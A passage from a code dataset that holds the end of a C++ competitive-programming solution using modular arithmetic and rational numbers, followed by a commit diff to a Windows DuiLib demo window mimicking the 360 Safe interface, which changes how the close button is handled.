right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\nusing ll = long long;\nconstexpr ll MOD{1000000007LL};\nconstexpr ll MAX_SIZE{3000010LL};\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{x % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ for C++14\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\nll gcd(ll x, ll y) { return y ? gcd(y, x % y) : x; }\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"0 1\" << endl;\n exit(0);\n}\n\nusing Info = tuple<ll, ll>;\n\nint main()\n{\n int N;\n cin >> N;\n vector<Info> V(N);\n ll A_sum{0LL};\n for (auto i = 0; i < N; i++)\n {\n ll A, B;\n cin >> A >> B;\n V[i] = Info(max(A, B), B);\n A_sum += A;\n }\n sort(V.rbegin(), V.rend());\n vector<ll> C_sum(N + 1);\n C_sum[0] = 0;\n for (auto i = 0; i < N; i++)\n {\n C_sum[i + 1] = C_sum[i] + get<0>(V[i]);\n#if DEBUG == 1\n cerr << \"C_sum[\" << i + 1 << \"] = \" << C_sum[i + 1] << endl;\n#endif\n }\n if (C_sum[N] == A_sum)\n {\n No();\n }\n rational<ll> ans{0, 1};\n#if DEBUG == 1\n cerr << \"A_sum = \" << A_sum << endl;\n#endif\n for (auto k = 0; k < N; k++)\n {\n ll B_k{get<1>(V[k])};\n ll ok{N}, ng{-1};\n ll tmp_sum{0};\n bool included{false};\n while (abs(ok - ng) > 1)\n {\n ll t{(ok + ng) \/ 2};\n ll tmp{C_sum[t]};\n if (k < t)\n {\n tmp -= B_k;\n }\n if (tmp + B_k >= A_sum)\n {\n ok = t;\n included = k < t;\n tmp_sum = tmp;\n }\n else\n {\n ng = t;\n }\n }\n rational<ll> r{A_sum - tmp_sum, B_k};\n#if DEBUG == 1\n cerr << \"k = \" << k << \", B_k = \" << B_k << \", tmp_sum = \" << tmp_sum << \", r = \" << r << endl;\n#endif\n ll M{included ? ok - 1 : ok};\n#if DEBUG == 1\n cerr << \"ok = \" << ok << \", included = \" << included << \", M = \" << M << \", r = \" << r << endl;\n#endif\n rational<ll> tmp_ans = (N - M - r) \/ N;\n#if DEBUG == 1\n cerr << \"tmp_ans = \" << tmp_ans << endl;\n#endif\n if (r < 0)\n {\n continue;\n }\n ch_max(ans, tmp_ans);\n }\n cout << ans.numerator() << \" \" << ans.denominator() << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\r\n#include <exdisp.h>\r\n#include <comdef.h>\r\n#include \"ControlEx.h\"\r\n\r\nclass C360SafeFrameWnd : public CWindowWnd, public INotifyUI\r\n{\r\npublic:\r\n\tC360SafeFrameWnd() { };\r\n\tLPCTSTR GetWindowClassName() const { return _T(\"UIMainFrame\"); };\r\n\tUINT GetClassStyle() const { return CS_DBLCLKS; };\r\n\tvoid OnFinalMessage(HWND \/*hWnd*\/) { delete this; };\r\n\r\n\tvoid Init() {\r\n\t\tm_pCloseBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"closebtn\")));\r\n\t\tm_pMaxBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\tm_pRestoreBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\tm_pMinBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"minbtn\")));\r\n\t}\r\n\r\n\tvoid OnPrepare() {\r\n\t}\r\n\r\n\tvoid Notify(TNotifyUI& msg)\r\n\t{\r\n\t\tif( msg.sType == _T(\"windowinit\") ) OnPrepare();\r\n\t\telse if( msg.sType == _T(\"click\") ) {\r\n\t\t\tif( msg.pSender == m_pCloseBtn ) {\r\n\t\t\t\tPostQuitMessage(0);\r\n\t\t\t\treturn; \r\n\t\t\t}\r\n\t\t\telse if( msg.pSender == m_pMinBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); return; }\r\n\t\t\telse if( msg.pSender == m_pMaxBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_MAXIMIZE, 0); return; }\r\n\t\t\telse if( msg.pSender == m_pRestoreBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_RESTORE, 0); return; }\r\n\t\t}\r\n\t\telse if(msg.sType==_T(\"selectchanged\"))\r\n\t\t{\r\n\t\t\tCStdString name = msg.pSender->GetName();\r\n\t\t\tCTabLayoutUI* pControl = static_cast<CTabLayoutUI*>(m_pm.FindControl(_T(\"switch\")));\r\n\t\t\tif(name==_T(\"examine\"))\r\n\t\t\t\t pControl->SelectItem(0);\r\n\t\t\telse if(name==_T(\"trojan\"))\r\n\t\t\t\t pControl->SelectItem(1);\r\n\t\t\telse if(name==_T(\"plugins\"))\r\n\t\t\t\tpControl->SelectItem(2);\r\n\t\t\telse if(name==_T(\"vulnerability\"))\r\n\t\t\t\tpControl->SelectItem(3);\r\n\t\t\telse if(name==_T(\"rubbish\"))\r\n\t\t\t\tpControl->SelectItem(4);\r\n\t\t\telse if(name==_T(\"cleanup\"))\r\n\t\t\t\tpControl->SelectItem(5);\r\n\t\t\telse if(name==_T(\"fix\"))\r\n\t\t\t\tpControl->SelectItem(6);\r\n\t\t\telse if(name==_T(\"tool\"))\r\n\t\t\t\tpControl->SelectItem(7);\r\n\t\t}\r\n\t}\r\n\r\n\tLRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tLONG styleValue = ::GetWindowLong(*this, GWL_STYLE);\r\n\t\tstyleValue &= ~WS_CAPTION;\r\n\t\t::SetWindowLong(*this, GWL_STYLE, styleValue | WS_CLIPSIBLINGS | WS_CLIPCHILDREN);\r\n\r\n\t\tm_pm.Init(m_hWnd);\r\n\t\tCDialogBuilder builder;\r\n\t\tCDialogBuilderCallbackEx cb;\r\n\t\tCControlUI* pRoot = builder.Create(_T(\"skin.xml\"), (UINT)0, &cb, &m_pm);\r\n\t\tASSERT(pRoot && \"Failed to parse XML\");\r\n\t\tm_pm.AttachDialog(pRoot);\r\n\t\tm_pm.AddNotifier(this);\r\n\r\n\t\tInit();\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnClose(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnDestroy(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\t::PostQuitMessage(0L);\r\n\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcActivate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n if( ::IsIconic(*this) ) bHandled = FALSE;\r\n return (wParam == 0) ? TRUE : FALSE;\r\n\t}\r\n\r\n\tLRESULT OnNcCalcSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcPaint(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcHitTest(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tPOINT pt; pt.x = GET_X_LPARAM(lParam); pt.y = GET_Y_LPARAM(lParam);\r\n\t\t::ScreenToClient(*this, &pt);\r\n\r\n\t\tRECT rcClient;\r\n\t\t::GetClientRect(*this, &rcClient);\r\n\r\n\/\/ \t\tif( !::IsZoomed(*this) ) {\r\n\/\/ \t\t\tRECT rcSizeBox = m_pm.GetSizeBox();\r\n\/\/ \t\t\tif( pt.y < rcClient.top + rcSizeBox.top ) {\r\n\/\/ \t\t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTTOPLEFT;\r\n\/\/ \t\t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTTOPRIGHT;\r\n\/\/ \t\t\t\treturn HTTOP;\r\n\/\/ \t\t\t}\r\n\/\/ \t\t\telse if( pt.y > rcClient.bottom - rcSizeBox.bottom ) {\r\n\/\/ \t\t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTBOTTOMLEFT;\r\n\/\/ \t\t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTBOTTOMRIGHT;\r\n\/\/ \t\t\t\treturn HTBOTTOM;\r\n\/\/ \t\t\t}\r\n\/\/ \t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTLEFT;\r\n\/\/ \t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTRIGHT;\r\n\/\/ \t\t}\r\n\r\n\t\tRECT rcCaption = m_pm.GetCaptionRect();\r\n\t\tif( pt.x >= rcClient.left + rcCaption.left && pt.x < rcClient.right - rcCaption.right \\\r\n\t\t\t&& pt.y >= rcCaption.top && pt.y < rcCaption.bottom ) {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(pt));\r\n\t\t\t\tif( pControl && _tcscmp(pControl->GetClass(), _T(\"ButtonUI\")) != 0 && \r\n\t\t\t\t\t_tcscmp(pControl->GetClass(), _T(\"OptionUI\")) != 0 &&\r\n\t\t\t\t\t_tcscmp(pControl->GetClass(), _T(\"TextUI\")) != 0 )\r\n\t\t\t\t\treturn HTCAPTION;\r\n\t\t}\r\n\r\n\t\treturn HTCLIENT;\r\n\t}\r\n\r\n\tLRESULT OnSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n SIZE szRoundCorner = m_pm.GetRoundCorner();\r\n if( !::IsIconic(*this) && (szRoundCorner.cx != 0 || szRoundCorner.cy != 0) ) {\r\n CRect rcWnd;\r\n ::GetWindowRect(*this, &rcWnd);\r\n rcWnd.Offset(-rcWnd.left, -rcWnd.top);\r\n rcWnd.right++; rcWnd.bottom++;\r\n HRGN hRgn = ::CreateRoundRectRgn(rcWnd.left, rcWnd.top, rcWnd.right, rcWnd.bottom, szRoundCorner.cx, szRoundCorner.cy);\r\n ::SetWindowRgn(*this, hRgn, TRUE);\r\n ::DeleteObject(hRgn);\r\n }\r\n\r\n bHandled = FALSE;\r\n return 0;\r\n\t}\r\n\r\n\tLRESULT OnGetMinMaxInfo(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tMONITORINFO oMonitor = {};\r\n\t\toMonitor.cbSize = sizeof(oMonitor);\r\n\t\t::GetMonitorInfo(::MonitorFromWindow(*this, MONITOR_DEFAULTTOPRIMARY), &oMonitor);\r\n\t\tCRect rcWork = oMonitor.rcWork;\r\n\t\trcWork.Offset(-rcWork.left, -rcWork.top);\r\n\r\n\t\tLPMINMAXINFO lpMMI = (LPMINMAXINFO) lParam;\r\n\t\tlpMMI->ptMaxPosition.x\t= rcWork.left;\r\n\t\tlpMMI->ptMaxPosition.y\t= rcWork.top;\r\n\t\tlpMMI->ptMaxSize.x\t\t= rcWork.right;\r\n\t\tlpMMI->ptMaxSize.y\t\t= rcWork.bottom;\r\n\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnSysCommand(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\t\/\/ ʱյWM_NCDESTROYյwParamΪSC_CLOSEWM_SYSCOMMAND\r\n\t\tif( wParam == SC_CLOSE ) {\r\n\t\t\t::PostQuitMessage(0L);\r\n\t\t\tbHandled = TRUE;\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tBOOL bZoomed = ::IsZoomed(*this);\r\n\t\tLRESULT lRes = CWindowWnd::HandleMessage(uMsg, wParam, lParam);\r\n\t\tif( ::IsZoomed(*this) != bZoomed ) {\r\n\t\t\tif( !bZoomed ) {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(false);\r\n\t\t\t\tpControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(true);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(true);\r\n\t\t\t\tpControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(false);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn lRes;\r\n\t}\r\n\r\n\tLRESULT HandleMessage(UINT uMsg, WPARAM wParam, LPARAM lParam)\r\n\t{\r\n\t\tLRESULT lRes = 0;\r\n\t\tBOOL bHandled = TRUE;\r\n\t\tswitch( uMsg ) {\r\n\t\tcase WM_CREATE: lRes = OnCreate(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_CLOSE: lRes = OnClose(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_DESTROY: lRes = OnDestroy(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCACTIVATE: lRes = OnNcActivate(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCCALCSIZE: lRes = OnNcCalcSize(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCPAINT: lRes = OnNcPaint(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCHITTEST: lRes = OnNcHitTest(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_SIZE: lRes = OnSize(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_GETMINMAXINFO: lRes = OnGetMinMaxInfo(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_SYSCOMMAND: lRes = OnSysCommand(uMsg, wParam, lParam, bHandled); break;\r\n\t\tdefault:\r\n\t\tbHandled = FALSE;\r\n\t\t}\r\n\t\tif( bHandled ) return lRes;\r\n\t\tif( m_pm.MessageHandler(uMsg, wParam, lParam, lRes) ) return lRes;\r\n\t\treturn CWindowWnd::HandleMessage(uMsg, wParam, lParam);\r\n\t}\r\n\r\npublic:\r\n\tCPaintManagerUI m_pm;\r\n\r\nprivate:\r\n\tCButtonUI* m_pCloseBtn;\r\n\tCButtonUI* m_pMaxBtn;\r\n\tCButtonUI* m_pRestoreBtn;\r\n\tCButtonUI* m_pMinBtn;\r\n\t\/\/...\r\n};\r\n\r\n\r\nint APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE \/*hPrevInstance*\/, LPSTR \/*lpCmdLine*\/, int nCmdShow)\r\n{\r\n\tCPaintManagerUI::SetInstance(hInstance);\r\n\tCPaintManagerUI::SetResourcePath(CPaintManagerUI::GetInstancePath() + _T(\"skin\"));\r\n\tCPaintManagerUI::SetResourceZip(_T(\"360SafeRes.zip\"));\r\n\r\n\tHRESULT Hr = ::CoInitialize(NULL);\r\n\tif( FAILED(Hr) ) return 0;\r\n\r\n\tC360SafeFrameWnd* pFrame = new C360SafeFrameWnd();\r\n\tif( pFrame == NULL ) return 0;\r\n\tpFrame->Create(NULL, _T(\"360ȫʿ\"), UI_WNDSTYLE_FRAME, 0L, 0, 0, 800, 572);\r\n\tpFrame->CenterWindow();\r\n\t::ShowWindow(*pFrame, SW_SHOW);\r\n\r\n\tCPaintManagerUI::MessageLoop();\r\n\r\n\t::CoUninitialize();\r\n\treturn 0;\r\n}<commit_msg>fix.<commit_after>#include \"stdafx.h\"\r\n#include <exdisp.h>\r\n#include <comdef.h>\r\n#include \"ControlEx.h\"\r\n\r\nclass C360SafeFrameWnd : public CWindowWnd, public INotifyUI\r\n{\r\npublic:\r\n\tC360SafeFrameWnd() { };\r\n\tLPCTSTR GetWindowClassName() const { return _T(\"UIMainFrame\"); };\r\n\tUINT GetClassStyle() const { return CS_DBLCLKS; };\r\n\tvoid OnFinalMessage(HWND \/*hWnd*\/) { delete this; };\r\n\r\n\tvoid Init() {\r\n\t\tm_pCloseBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"closebtn\")));\r\n\t\tm_pMaxBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\tm_pRestoreBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\tm_pMinBtn = static_cast<CButtonUI*>(m_pm.FindControl(_T(\"minbtn\")));\r\n\t}\r\n\r\n\tvoid OnPrepare() {\r\n\t}\r\n\r\n\tvoid Notify(TNotifyUI& msg)\r\n\t{\r\n\t\tif( msg.sType == _T(\"windowinit\") ) OnPrepare();\r\n\t\telse if( msg.sType == _T(\"click\") ) {\r\n\t\t\tif( msg.pSender == m_pCloseBtn ) {\r\n\t\t\t\tPostMessage(WM_SYSCOMMAND, SC_CLOSE, 0); return; } \r\n\t\t\telse if( msg.pSender == m_pMinBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); return; }\r\n\t\t\telse if( msg.pSender == m_pMaxBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_MAXIMIZE, 0); return; }\r\n\t\t\telse if( msg.pSender == m_pRestoreBtn ) { \r\n\t\t\t\tSendMessage(WM_SYSCOMMAND, SC_RESTORE, 0); return; }\r\n\t\t}\r\n\t\telse if(msg.sType==_T(\"selectchanged\"))\r\n\t\t{\r\n\t\t\tCStdString name = msg.pSender->GetName();\r\n\t\t\tCTabLayoutUI* pControl = static_cast<CTabLayoutUI*>(m_pm.FindControl(_T(\"switch\")));\r\n\t\t\tif(name==_T(\"examine\"))\r\n\t\t\t\t pControl->SelectItem(0);\r\n\t\t\telse if(name==_T(\"trojan\"))\r\n\t\t\t\t pControl->SelectItem(1);\r\n\t\t\telse if(name==_T(\"plugins\"))\r\n\t\t\t\tpControl->SelectItem(2);\r\n\t\t\telse if(name==_T(\"vulnerability\"))\r\n\t\t\t\tpControl->SelectItem(3);\r\n\t\t\telse if(name==_T(\"rubbish\"))\r\n\t\t\t\tpControl->SelectItem(4);\r\n\t\t\telse if(name==_T(\"cleanup\"))\r\n\t\t\t\tpControl->SelectItem(5);\r\n\t\t\telse if(name==_T(\"fix\"))\r\n\t\t\t\tpControl->SelectItem(6);\r\n\t\t\telse if(name==_T(\"tool\"))\r\n\t\t\t\tpControl->SelectItem(7);\r\n\t\t}\r\n\t}\r\n\r\n\tLRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tLONG styleValue = ::GetWindowLong(*this, GWL_STYLE);\r\n\t\tstyleValue &= ~WS_CAPTION;\r\n\t\t::SetWindowLong(*this, GWL_STYLE, styleValue | WS_CLIPSIBLINGS | WS_CLIPCHILDREN);\r\n\r\n\t\tm_pm.Init(m_hWnd);\r\n\t\tCDialogBuilder builder;\r\n\t\tCDialogBuilderCallbackEx cb;\r\n\t\tCControlUI* pRoot = builder.Create(_T(\"skin.xml\"), (UINT)0, &cb, &m_pm);\r\n\t\tASSERT(pRoot && \"Failed to parse XML\");\r\n\t\tm_pm.AttachDialog(pRoot);\r\n\t\tm_pm.AddNotifier(this);\r\n\r\n\t\tInit();\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnClose(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnDestroy(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n \t\t::PostQuitMessage(0L);\r\n\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcActivate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n if( ::IsIconic(*this) ) bHandled = FALSE;\r\n return (wParam == 0) ? TRUE : FALSE;\r\n\t}\r\n\r\n\tLRESULT OnNcCalcSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcPaint(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnNcHitTest(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tPOINT pt; pt.x = GET_X_LPARAM(lParam); pt.y = GET_Y_LPARAM(lParam);\r\n\t\t::ScreenToClient(*this, &pt);\r\n\r\n\t\tRECT rcClient;\r\n\t\t::GetClientRect(*this, &rcClient);\r\n\r\n\/\/ \t\tif( !::IsZoomed(*this) ) {\r\n\/\/ \t\t\tRECT rcSizeBox = m_pm.GetSizeBox();\r\n\/\/ \t\t\tif( pt.y < rcClient.top + rcSizeBox.top ) {\r\n\/\/ \t\t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTTOPLEFT;\r\n\/\/ \t\t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTTOPRIGHT;\r\n\/\/ \t\t\t\treturn HTTOP;\r\n\/\/ \t\t\t}\r\n\/\/ \t\t\telse if( pt.y > rcClient.bottom - rcSizeBox.bottom ) {\r\n\/\/ \t\t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTBOTTOMLEFT;\r\n\/\/ \t\t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTBOTTOMRIGHT;\r\n\/\/ \t\t\t\treturn HTBOTTOM;\r\n\/\/ \t\t\t}\r\n\/\/ \t\t\tif( pt.x < rcClient.left + rcSizeBox.left ) return HTLEFT;\r\n\/\/ \t\t\tif( pt.x > rcClient.right - rcSizeBox.right ) return HTRIGHT;\r\n\/\/ \t\t}\r\n\r\n\t\tRECT rcCaption = m_pm.GetCaptionRect();\r\n\t\tif( pt.x >= rcClient.left + rcCaption.left && pt.x < rcClient.right - rcCaption.right \\\r\n\t\t\t&& pt.y >= rcCaption.top && pt.y < rcCaption.bottom ) {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(pt));\r\n\t\t\t\tif( pControl && _tcscmp(pControl->GetClass(), _T(\"ButtonUI\")) != 0 && \r\n\t\t\t\t\t_tcscmp(pControl->GetClass(), _T(\"OptionUI\")) != 0 &&\r\n\t\t\t\t\t_tcscmp(pControl->GetClass(), _T(\"TextUI\")) != 0 )\r\n\t\t\t\t\treturn HTCAPTION;\r\n\t\t}\r\n\r\n\t\treturn HTCLIENT;\r\n\t}\r\n\r\n\tLRESULT OnSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n SIZE szRoundCorner = m_pm.GetRoundCorner();\r\n if( !::IsIconic(*this) && (szRoundCorner.cx != 0 || szRoundCorner.cy != 0) ) {\r\n CRect rcWnd;\r\n ::GetWindowRect(*this, &rcWnd);\r\n rcWnd.Offset(-rcWnd.left, -rcWnd.top);\r\n rcWnd.right++; rcWnd.bottom++;\r\n HRGN hRgn = ::CreateRoundRectRgn(rcWnd.left, rcWnd.top, rcWnd.right, rcWnd.bottom, szRoundCorner.cx, szRoundCorner.cy);\r\n ::SetWindowRgn(*this, hRgn, TRUE);\r\n ::DeleteObject(hRgn);\r\n }\r\n\r\n bHandled = FALSE;\r\n return 0;\r\n\t}\r\n\r\n\tLRESULT OnGetMinMaxInfo(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tMONITORINFO oMonitor = {};\r\n\t\toMonitor.cbSize = sizeof(oMonitor);\r\n\t\t::GetMonitorInfo(::MonitorFromWindow(*this, MONITOR_DEFAULTTOPRIMARY), &oMonitor);\r\n\t\tCRect rcWork = oMonitor.rcWork;\r\n\t\trcWork.Offset(-rcWork.left, -rcWork.top);\r\n\r\n\t\tLPMINMAXINFO lpMMI = (LPMINMAXINFO) lParam;\r\n\t\tlpMMI->ptMaxPosition.x\t= rcWork.left;\r\n\t\tlpMMI->ptMaxPosition.y\t= rcWork.top;\r\n\t\tlpMMI->ptMaxSize.x\t\t= rcWork.right;\r\n\t\tlpMMI->ptMaxSize.y\t\t= rcWork.bottom;\r\n\r\n\t\tbHandled = FALSE;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tLRESULT OnSysCommand(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)\r\n\t{\r\n\t\tBOOL bZoomed = ::IsZoomed(*this);\r\n\t\tLRESULT lRes = CWindowWnd::HandleMessage(uMsg, wParam, lParam);\r\n\t\tif( ::IsZoomed(*this) != bZoomed ) {\r\n\t\t\tif( !bZoomed ) {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(false);\r\n\t\t\t\tpControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(true);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tCControlUI* pControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"maxbtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(true);\r\n\t\t\t\tpControl = static_cast<CControlUI*>(m_pm.FindControl(_T(\"restorebtn\")));\r\n\t\t\t\tif( pControl ) pControl->SetVisible(false);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn lRes;\r\n\t}\r\n\r\n\tLRESULT HandleMessage(UINT uMsg, WPARAM wParam, LPARAM lParam)\r\n\t{\r\n\t\tLRESULT lRes = 0;\r\n\t\tBOOL bHandled = TRUE;\r\n\t\tswitch( uMsg ) {\r\n\t\tcase WM_CREATE: lRes = OnCreate(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_CLOSE: lRes = OnClose(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_DESTROY: lRes = OnDestroy(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCACTIVATE: lRes = OnNcActivate(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCCALCSIZE: lRes = OnNcCalcSize(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCPAINT: lRes = OnNcPaint(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_NCHITTEST: lRes = OnNcHitTest(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_SIZE: lRes = 